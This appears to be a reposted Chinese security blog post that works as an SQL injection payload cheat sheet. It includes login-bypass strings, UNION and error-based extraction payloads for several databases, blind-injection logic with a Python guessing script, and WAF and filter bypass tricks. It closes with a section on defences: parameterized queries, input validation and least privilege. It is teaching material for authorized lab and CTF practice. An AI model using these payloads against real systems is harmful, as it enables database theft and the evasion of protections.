news 2026/9/9 14:36:07

SQL注入实战Payload清单:从原理到绕过技巧的完整指南

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQL注入实战Payload清单:从原理到绕过技巧的完整指南

干了这么多年安全测试,电脑里存的东西越来越多。每次看到类似“20260323_152734_干货_SQL注入_Payload_List”这种命名的截图文件,都不用打开就能想到内容——又是一张随手保存的Payload备忘录,或者某个测试过程的关键记录。今天把这套整理过很多遍的SQL注入Payload清单和背后的使用思路一次说透,既聊每条Payload为什么这么写,也聊实际测试时怎么选、怎么改、怎么判断,给正准备系统梳理这块知识的朋友一份能直接用的参考。

先说清楚一个概念,Payload不是越全越好,而是越“明白”越好。网上随便一搜就是几百上千条的Payload大合集,真正用到的时候反而不知道怎么选。这有点像工具箱里塞了一百把螺丝刀,没有一个合手的。所以我更推荐按场景维护自己的少量核心Payload,把原理吃透,让每一条都能在需要的时候派上用场。这篇文章要聊的,就是这套从实际测试里沉淀下来的Payload清单和完整的使用逻辑。

1. 内容整体设计与思路拆解

1.1 为什么需要一份“自己的”Payload清单

很多人刚开始接触SQL注入时,第一件事就是去存一份“全网最全Payload总结”。我也不例外,早年存过十来个版本,每个几千行,真正测试时反而是翻来翻去找不到想要的。

问题出在哪?因为Payload清单根本不是拿来“存”的,是拿来“用”的。每个字段、每个函数、每个注释符,都需要理解它存在的意义。比如' or 1=1--+这串看起来简单的万能密码,拆开看包含了字符串闭合、逻辑或、恒真条件、注释符四个关键设计,缺一个都可能在真实环境中失效。

所以这里要说的思路是:不要追求“量大管饱”,而是建立一份“原理型”清单——按注入类型、数据库类型、绕过场景三个维度分类,每条都标注适用条件和典型返回特征。这样遇到新的目标,第一反应不是去翻清单,而是根据现象判断属于哪一类,再用对应的Payload验证。

1.2 拆解一份Payload时到底在看什么

判断一条Payload是否适合当前场景,我会重点关注四个维度:

  • 闭合方式:目标SQL语句中这个参数是用单引号包着、双引号包着,还是直接数字类型拼接?这决定了前置的闭合字符怎么选。
  • 注释符:MySQL、Oracle、MSSQL的注释符完全不同。--#/* */在不同数据库里支持情况不一样,选错一个,整条Payload就废了。
  • 回显位置:页面会把查询结果直接显示出来吗?会显示错误信息吗?还是什么都不显示?这决定了选用联合查询、报错注入还是盲注。
  • 执行上下文:当前语句是SELECT、INSERT还是UPDATE?是否有堆叠查询的可能?不同上下文对Payload的写法限制很大。

这四个维度想清楚了,写出来的Payload就不是碰运气,而是有明确逻辑的推导结果。

还有一点必须强调:学习和验证SQL注入,一定要在合法的靶场环境里进行。比如本地搭建的漏洞环境、公开的CTF比赛题目、有明确授权的测试目标。在没有授权的系统上做注入测试,不管出发点是什么,都是违规行为。我自己的习惯是定期在靶场刷新一下手感,遇到真实项目时按授权范围和白盒/黑盒测试边界执行。

2. 核心细节解析与实操要点

2.1 从SQL执行逻辑理解注入的本质

开发人员在写SQL查询时,常见的一种错误是把用户输入直接拼接到SQL语句里。比如登录功能写了这样一句:

SELECT * FROM users WHERE username = '$username' AND password = '$password'

这里的$username$password是用户可控的。当输入的内容包含SQL特殊字符时,它就不再是“数据”,而是变成了“代码”的一部分被执行。SQL注入的本质,就是利用这个拼接点,改变原本SQL语句的逻辑结构。

这类问题用生活化的类比来说:就好比你填表时在“姓名”栏里写了一段话,结果这段话没有被当作“内容”打印在表格里,而是被当作操作指令执行了,这就乱了套。防御方要保证“内容就是内容、指令就是指令”,进攻方则是想办法让内容被当成指令解释。

理解这个本质之后,很多Payload就不需要死记硬背。需要什么效果,就构造什么样的语句片段插入进去。比如想让查询永远成立,就构造一个返回TRUE的条件;想让查询报错并显示数据,就构造一个能触发数据库报错并携带数据的表达式。

2.2 按回显方式划分四大基础类型

在真正的测试中,我首先会判断的就是“回显”的形态,因为这直接决定后续走哪条技术路线。

联合查询注入(UNION-based):页面会把查询结果显示出来,且显示位置可控制。这种情况下最常使用UNION SELECT来拼接自己的查询语句,从而获取其它表的数据。判断的关键是原查询的列数。

报错注入(Error-based):页面不会显示正常结果,但会把数据库的错误信息原样输出。这种情况利用数据库函数人为制造报错,并在报错信息里携带查询结果。

布尔盲注(Boolean-based blind):页面既不显示数据也不显示报错,但可以通过条件真假导致页面内容不同。比如AND 1=1页面正常,AND 1=2页面空白,就能通过逐字符猜解数据。

时间盲注(Time-based blind):连页面内容都不变,只能通过数据库执行延迟函数(如MySQL的SLEEP())来判断条件真假。这是最慢但最通用的方式。

这四种类型没有绝对的高下之分,只有“适不适合当前场景”的差别。

2.3 按参数位置划分GPC绕过场景

除了回显方式,参数在SQL语句中出现的位置也会决定Payload的形状。这一点很多人容易忽略,直接套模板,结果测了半天没反应。

SELECT子句中的参数:比如?id=1出现在WHERE条件中,这是最常见的注入点。Payload需要先闭合前面的参数值,再把注入内容放到WHERE条件里。

INSERT/UPDATE子句中的参数:常见于注册、修改个人资料功能。注入内容会在写入时执行,可能利用报错回显或子查询提取数据。

ORDER BY后的参数:排序字段可控时,可以直接写列名或表达式。有些数据库支持在ORDER BY后跟条件表达式,形成布尔盲注。

LIKE后的参数:搜索功能往往把用户输入放在LIKE后面,此时通配符%_的含义需要额外考虑,注释符和闭合方式也可能不同。

每种位置的注入点,都需要先确认“现在的SQL长什么样”,再决定Payload的第一段写什么。

3. 实操过程与核心环节实现

3.1 登录绕过的核心Payload与变体

登录绕过的Payload几乎每个搞安全的都见过,但真正理解其演变路径的并不多。最常见的初始形态是万能密码:

'or'1'='1'--

放到登录SQL中拼接后变成:

SELECT * FROM users WHERE username = ''or'1'='1'--' AND password = 'anything'

此时username为空,or '1'='1'恒真,--把后面的密码判断直接注释掉,整条查询返回所有用户,取第一条往往就是管理员,登录自然被绕过。

但这个Payload在真实场景里经常失效,因为很多系统做了基础过滤。实际测试中我通常会准备一组变体,按顺序尝试:

  • ' or 1=1 --+
  • ' or 1=1 #
  • " or 1=1 --
  • ') or ('1'='1
  • ' or '1'='1'
  • admin' --
  • admin' #
  • admin'/*

如果遇到的是需要用户名和密码都合法的SQL,还会尝试把注释符放在密码位置:

username=admin password=' or '1'='1

还有一类情况是使用MD5加密后比较,比如WHERE password = md5('$input')。此时直接输入admin' AND 1=1 --形式可能不生效,需要结合具体代码逻辑来处理。

登录绕过只是SQL注入的入门应用,但这里体现的“闭合思路”是后续一切Payload的基础。

3.2 联合查询的核心流程与列数判断

联合查询是获取数据效率最高的方式,核心难点在于判断原查询的列数。我用一个CTF中常见的流程来说明:

假设一个URL是http://target.com/news.php?id=1,页面正常显示新闻内容。第一步先验证是否存在注入:

?id=1' -- 页面异常或报错 ?id=1'--+ -- 页面恢复正常,说明单引号闭合,注释符生效

第二步判断列数,用ORDER BY逐次增加:

?id=1' ORDER BY 1--+ -- 正常 ?id=1' ORDER BY 2--+ -- 正常 ?id=1' ORDER BY 3--+ -- 正常 ?id=1' ORDER BY 4--+ -- 报错,说明只有3列

这里涉及一个关键点:ORDER BY 4报错不代表语句逻辑错误,而是子句引用了一个不存在的列号。知道了列数是3,就可以构造联合查询:

?id=-1' UNION SELECT 1,2,3--+

为什么要用-1?因为原始查询WHERE id=1是有结果返回的,联合查询会外加一行数据,页面可能只显示第一行,导致自定义数据看不到。把id改成不存在的-1,原始查询返回空,联合查询的结果自然就显示出来了。这个技巧在实战中非常重要,直接决定联合查询是否有效。

如果页面显示出了2这个数字,说明第二列是回显位置。接下来就替换数字为查询语句:

?id=-1' UNION SELECT 1,database(),3--+ ?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+

MySQL中group_concat可以把多行结果拼成一行,弥补联合查询只能显示一行数据的限制。这是数据提取阶段的高频函数。

3.3 报错注入的常用函数与场景选择

报错注入的核心不是“让程序报错”,而是“让报错信息把数据带出来”。不同数据库有各自的报错函数,这里列出最常用的几类:

# MySQL ' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--+ ' AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)--+ # Oracle ' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))--+ # MSSQL ' AND 1=CONVERT(int,(SELECT @@version))--+

extractvalueupdatexml的报错信息长度有限制,大约32个字符左右,所以数据较长时需要配合substr分段截取。比如查看版本信息,可以用substr(version(),1,32),再看后面的部分。

实际测试中,当页面返回XPATH syntax error: '~xxx~'类似信息时,就说明报错注入成功,波浪线中间的xxx就是查询结果。用0x7e包裹是为了让报错中有一个特殊标记,方便在冗长的报错信息里快速定位数据。

报错注入的适用条件是页面开启了display_errors或数据库驱动把错误信息直接回显。如果页面返回统一错误页面,就需要改用布尔盲注。

3.4 布尔盲注的逻辑构造与逐字符猜解

布尔盲注看起来效率低,却是最稳定的信息提取方式。“如果条件为真,页面显示A;条件为假,页面显示B”,这个逻辑一旦成立,任何数据都能通过逐字符猜解拿到。

常用的布尔判断Payload长这样:

?id=1' AND (SELECT SUBSTRING(database(),1,1))='a'--+ ?id=1' AND ASCII(SUBSTRING(database(),1,1))>97--+

第一条判断数据库名第一个字符是否是a,第二条判断其ASCII码是否大于97。实际测试中我不推荐用等号逐字符猜,效率太低,一般用二分法:先>100判断落在哪一半,再逐步逼近。比如目标字符ASCII是115,用>97为真、>116为假、再>113为真、>114为真、>115为假,只需要四次请求就能确定字符,比逐一尝试26个字母快得多。

如果手工测,这类请求会非常痛苦,所以要学会脚本化。用Python写一个简单的布尔盲注脚本即可,本质上就是发HTTP请求、判断页面特征、二分猜解:

import requests url = "http://target.com/news.php" # 以判断database()长度为例 for i in range(1, 20): # payload: 判断长度是否等于i payload = f"1' AND LENGTH(database())={i}--+" r = requests.get(url, params={"id": payload}) if "正常页面的特征字段" in r.text: print(f"database length: {i}") break

这里要提醒一个细节:判断“页面是否正常”不能只看状态码,要选一个正常返回和异常返回区别明显的标志字符串,比如某个只在正常时出现的标题文本。

3.5 时间盲注的坑与延迟函数选择

时间盲注是最后的手段,因为发送的请求数量最多、耗时最久。MySQL中常用的延迟函数是SLEEP(),例如:

?id=1' AND SLEEP(3)--+ ?id=1' AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(3),0)--+

第二条的含义是:如果数据库名第一个字符ASCII大于100,就延迟3秒,否则立即返回。通过观察响应时间是否明显变长来判断条件真假。

实际测试中直接写AND SLEEP(3)会有一个问题:如果当前数据量很大,SLEEP会对线上数据库造成额外压力。所以延迟时间我会控制在1到3秒之间,能用1秒就不用3秒,既保证判断的准确性,又尽量降低影响。另一个坑是有些数据库连接池或代理会拦截长连接、超时重试,这时延迟结果可能不准。我会对比基线时间——先发一个不带SLEEP的请求测正常响应时间,再发带SLEEP的请求测延迟,排除网络波动干扰。

3.6 绕过过滤的Payload变换思路

现在很多系统都有基础过滤,直接搜orand、空格、关键字。面对过滤时,不要想着一个超长Payload解决一切,而是拆解成多个绕过维度逐一处理。

空格被过滤:MySQL中可以用注释符代替空格,比如/**/,或用反引号包裹关键内容。

?id=1'/**/UNION/**/SELECT/**/1,2,3--+

关键字被过滤:大小写混写(UnIoN)、内联注释(/*!UNION*/)、十六进制编码(0x7573657273表示users)都是常见方案。

?id=-1'/*!UNION*//*!SELECT*/1,database(),3--+

等号被过滤:用LIKE替代,或用><表达判断逻辑。'a'='a'可以改写为'a'LIKE'a'

逗号被过滤:影响substr这类函数的使用,可以改用FROM ... FOR ...语法:

# 替代 substr(database(),1,1) ' AND database() LIKE 'a%'--+ ' AND database() REGEXP '^a'--+

绕过过滤的终极思路,是找到过滤规则覆盖不到的表达方式。比如过滤了or,但没过滤||,在MySQL中||默认就是逻辑或;过滤了select,但可以用handler语句读取数据。

这里要特别强调:上面的绕过方法都必须在授权和靶场环境中练习。构造复杂的绕过Payload需要大量试错,靶场里的SQLilabs、DVWA、BUUCTF题目都是很好的练习环境,在上面练熟后在真实授权项目里应用,会从容很多。

3.7 从十六进制字节理解Payload的传输细节

有时从抓包工具里会看到类似0x04 0xe5 0x88 0x86 0xe4 0xba 0xab这样的十六进制数据。这看起来像乱码,实际可能是URL编码后的Payload或者特殊字符的字节表示。例如0xe5 0x88 0x86 0xe4 0xba 0xab对应UTF-8编码的“分享”两个字,前面的0x04可能是控制字符或长度前缀。

这个观察角度对排查问题很有用:当你在测试时发现Payload发送出去但服务端没反应,先看抓包里的十六进制内容,确认特殊字符有没有被正确编码。特别是+号在URL里会被解码成空格,如果想传字面意义上的加号,要写%2B。这类编码问题经常让新手白折腾半天。

原始输入: 1' AND 1=1--+ URL编码后: 1%27%20AND%201%3D1--%2B

一些自动化工具在生成Payload时也会做十六进制编码,以减少特殊字符被后端处理的可能性。理解这层字节逻辑,能让你在调试时不至于在编码环节迷茫。

4. 常见问题与排查技巧实录

4.1 单引号被转义或过滤

这是最常遇到的问题。当系统启用了addslashesmysql_real_escape_string或参数化查询,单引号会被转义成\',直接拼闭合就失效了。

排查思路:先试数字型参数(不带引号的注入点),比如?id=1 AND 1=1是否引发差异。如果数字型都无差异,再试宽字节注入:

?id=1%df%27 AND 1=1--+

宽字节注入的原理是,当数据库使用GBK编码时,%df%27会被解析为一个合法多字节字符,转义符被“吃掉”,单引号就逃逸出来了。这个技巧在旧的PHP+MySQL系统中很常见,新系统基本不可用了,但排查历史遗留系统时值得一试。

4.2 注释符不生效

注释符写对了但请求仍报错,常见原因有两个。一是URL编码问题,比如#在URL里是锚点标识符,需要编码成%23再提交。二是操作系统中--后面必须有空格,有些接口在传参时会自动去掉末尾空格,导致--变成--,注释逻辑失效。此时可以改用--+(加号在URL中被解码为空格)、--%20#

不同数据库的注释符支持情况:

数据库行注释块注释备注
MySQL--#/* */--后必须有空格
Oracle--/* */--
MSSQL--/* */--
PostgreSQL--/* */--

这张表值得收藏到自己的笔记里,排查时照着对一遍能省不少时间。

4.3 页面有WAF或应用防火墙拦截

WAF拦截的典型特征是:输入普通参数正常,一提交UNION SELECTSLEEP等特征字符串就返回403或跳转到验证码页面。绕过WAF不是单纯拼Payload,而是要理解WAF的检测原理,它通常是基于正则匹配特征。

常用的降噪思路有:

  • /*!50000UNION*/这类内联注释,MySQL会把注释里的内容当代码执行,而正则可能漏掉。
  • CONCAT拆分关键字,比如UNION写成UNI/**/ON
  • 用十六进制编码敏感字符串,SELECT写成SEL/**/ECT
  • 减少请求频率,避免触发速率检测。

但坦白说,WAF绕过的学习价值不在于“绕过本身”,而在于理解检测规则的盲区。建议在测试环境中部署开源WAF做练习,先看它拦截了哪些内容,再想办法绕过,这套练习流程对理解防护机制帮助很大。

4.4 自动化工具出结果但手工验证失败

用sqlmap这类工具测出某处注入,但手工构造Payload却复现不了,这种情况我反复遇到过。原因通常有几种:

  • 工具使用了某种特殊的编码或注释方式,手工没复刻到位。
  • 工具走了多个请求组合触发注入,单条请求看不到效果。
  • 工具检测到的是二阶注入,第一次请求写入、第二次请求才触发。

遇到这种情况,最简单的方式是打开工具的--verbose参数,把工具实际发送的HTTP请求完整记录下来,然后手工逐字复制粘贴到请求包中测试。这个过程同时也是一个很好的学习机会,能直观看到工具是怎么构造Payload的。

4.5 查询结果被截断或中文乱码

判断出注入点、也拿到了数据,但数据是乱码或者只显示一半。通常问题出在字符集上。Payload中带有中文条件时,先确保请求和数据库的字符集一致。MySQL中可以在Payload前追加/*!40101 SET NAMES utf8*/来设置连接字符集。

另外,报错注入只显示32个字符,联合查询时如果字段值里包含空格,可能被浏览器当作多个词显示。解决方式是数据提取后用group_concat或十六进制转换,把不可见和冲突字符处理掉。

5. 防御视角:反推修复方案

5.1 参数化查询是第一道防线

理解SQL注入Payload的终极目标并不是为了攻击,而是站在攻防两端审视系统的安全性。从攻击者的Payload形态,能很直观地看出修复方向:既然注入是因为用户输入拼接进SQL语句,那杜绝拼接就釜底抽薪。参数化查询(PreparedStatement)就是替代拼接的标准化方案:

String sql = "SELECT * FROM users WHERE username = ? AND password = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); pstmt.setString(2, password);

参数化查询的本质是让数据库区分“SQL结构”和“参数数据”。用户输入再特殊,也只是被当成一个字符串值处理,永远不会成为可执行的代码。这是最有效、成本最低的修复方式。

5.2 输入校验与最小化输出

即使做了参数化查询,也应该在应用层做输入校验,作为纵深防御。校验的原则是“白名单优先”——明确允许哪些字符,而不是试图拦截所有坏字符。比如id参数只允许数字,那就直接强制转int;用户名允许字母数字和下划线,其余一概拒绝。

数据库账号权限也需要收敛。Web应用连接数据库时,只授予当前业务所需的最小权限,绝不使用root或sa。即使注入成功,攻击者能做的事也会极其有限。一个只有SELECT权限的账号,哪怕被注入了,也无法读文件、写文件、调存储过程、访问其它库。

5.3 安全测试的闭环建议

最后给正在学习或初入行的朋友一些建议:把“会打”和“会修”结合起来。每学一种Payload,就去理解它能让数据库做什么、为什么会成功、对应代码应该怎么写才不会被利用。在靶场上练手时,观察漏洞代码和修复代码的差异,形成自己的判断力。

推荐的学习路线是:SQLilabs逐步打完,理解每种注入类型的触发条件和Payload逻辑;再在DVWA上以低中高三档难度切换练习,体会防御升级对Payload的影响;最后找几个CTF题目巩固,重点练综合场景下的漏洞发现和利用思路。这个流程走下来,对SQL注入的理解会比单纯背一万条Payload扎实得多。

我在实际测试中的体会是:SQL注入的核心从来不是“记住某个万能密码”,而是理解SQL语句的拼接逻辑和数据库的行为差异。当你能闭上眼睛想象出后端SQL长什么样,Payload自然就会从脑子里长出来。这份从实战里沉淀的清单,希望能帮你少走一些我当年走过的弯路。把常用的几十条吃透,比几百条浮光掠影有用得多。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/9 14:33:36

跨领域读懂magnitude:从数学范数到天文星等、地震震级与信号幅度

我第一次被 “magnitude” 这个词卡住&#xff0c;是在读一篇深度学习论文的时候。那篇论文讨论权重衰减&#xff0c;作者反复强调 “the magnitude of weights will keep growing”&#xff0c;我第一反应是&#xff1a;这不就是在说权重的绝对值吗&#xff1f;后来才发现完全…

作者头像 李华
网站建设 2026/9/9 14:31:58

开源AI编码代理opencode:从模型配置到排错实战指南

1. 为什么 opencode 能在一众 AI 编码工具里跑出来1.1 从补全代码到真正“接活干活”&#xff0c;拐点出在这里过去的一年里&#xff0c;AI 编程工具圈几乎每个月都在洗牌。如果你跟我一样&#xff0c;先在 Claude Code 里泡了两周&#xff0c;又被 Codex 的云端沙箱惊艳了一下…

作者头像 李华
网站建设 2026/9/9 14:31:24

Android二维码扫描Demo实战:基于CameraX与ML Kit的优化实现

简介&#xff1a;面向 Android 开发者的二维码扫描示例资源&#xff0c;基于 ZXing 库呈现扫码功能的完整实现&#xff0c;重点解决自定义扫描框尺寸与扫描速度调节两大常见需求。资源包共 85 个文件&#xff0c;压缩后仅 1.59MB&#xff1b;Java 源码负责核心逻辑&#xff0c;…

作者头像 李华
网站建设 2026/9/9 14:30:49

用户维度表拉链表设计:离线数仓DIM层历史回溯与增量装载实践

数仓项目里如果只能挑一张表来“考古”&#xff0c;我大概率会选用户维度表。这不是夸张&#xff0c;DIM层里商品、品类、地区这些维度表&#xff0c;本质上是稳定的字典&#xff0c;全量刷新就完了&#xff1b;但用户维度表不一样&#xff0c;用户在系统里改昵称、换手机、升级…

作者头像 李华
网站建设 2026/9/9 14:30:33

工厂体系文件翻译:版式保留、术语约束与离线追溯实践

1. 为什么我会在2025年动手做这个工具先交代一下背景。过去几年我一直混在制造业供应链交付的一线&#xff0c;日常打交道的对象是各类工厂体系文件——控制计划、PFMEA、作业指导书、设备点检表、来料检验规范&#xff0c;密密麻麻的表格&#xff0c;每一行都是评审过的工艺参…

作者头像 李华